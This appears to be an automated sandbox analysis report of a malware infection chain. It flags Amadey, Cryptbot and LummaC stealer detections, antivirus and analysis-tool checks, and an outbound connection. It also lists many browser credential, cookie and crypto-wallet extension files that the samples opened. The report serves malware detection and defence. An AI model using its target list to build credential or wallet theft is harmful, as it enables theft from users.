Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\DUBAI-LIGHT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\flat_officeFontsPreview.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\OFFSYM.TTF VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EBCBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_00EBCBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_001865E0 LookupAccountNameA,

6_2_001865E0

Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: 400f5197b1.exe, 00000014.00000002.2977290741.00000000012A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: procdump.exe
Source: 3a0398bc51.exe, 00000009.00000003.2590163861.000000000115B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s Defender\MsMpeng.exe
Source: 7ba71287b7.exe, 0000000C.00000003.2621397452.000000000770F000.00000004.00001000.00020000.00000000.sdmp, 66405b473b.exe, 00000010.00000002.2858672699.000000000061D000.00000040.00000001.01000000.00000015.sdmp, 66405b473b.exe, 00000010.00000003.2817622374.00000000070C6000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: procmon.exe
Source: 7ba71287b7.exe, 0000000C.00000003.2621397452.000000000770F000.00000004.00001000.00020000.00000000.sdmp, 66405b473b.exe, 00000010.00000002.2858672699.000000000061D000.00000040.00000001.01000000.00000015.sdmp, 66405b473b.exe, 00000010.00000003.2817622374.00000000070C6000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: wireshark.exe
Source: 3a0398bc51.exe, 00000009.00000003.2590163861.000000000115B000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2684937608.0000000005A6E000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2685031950.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000002.2758546186.0000000005A6F000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2688607634.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2701363282.0000000005A68000.00000004.00000800.00020000.00000000.sdmp, d6bf37692b.exe, 0000000A.00000003.2701926108.0000000000CDF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 6.2.skotes.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.skotes.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.ea0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1811462151.0000000000181000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1738392783.0000000004F70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1812870279.0000000000181000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1779397072.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2974802669.0000000000181000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1772643479.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2298005500.0000000004C80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1771220555.0000000004B60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 3a0398bc51.exe PID: 7516, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d6bf37692b.exe PID: 7348, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 3a0398bc51.exe, 00000009.00000003.2568602128.000000000115B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: 3a0398bc51.exe, 00000009.00000003.2568602128.000000000115B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: 3a0398bc51.exe, 00000009.00000003.2568602128.000000000115B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: 3a0398bc51.exe, 00000009.00000003.2568708921.00000000011BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: 3a0398bc51.exe, 00000009.00000003.2568031429.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 3a0398bc51.exe, 00000009.00000003.2568124253.00000000011DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3q
Source: 3a0398bc51.exe, 00000009.00000003.2568602128.000000000115B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: 3a0398bc51.exe, 00000009.00000003.2568708921.00000000011BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 3a0398bc51.exe, 00000009.00000003.2568708921.00000000011BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Leaks process information

Source: global traffic

TCP traffic: 192.168.2.4:49848 -> 147.45.113.159:80

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
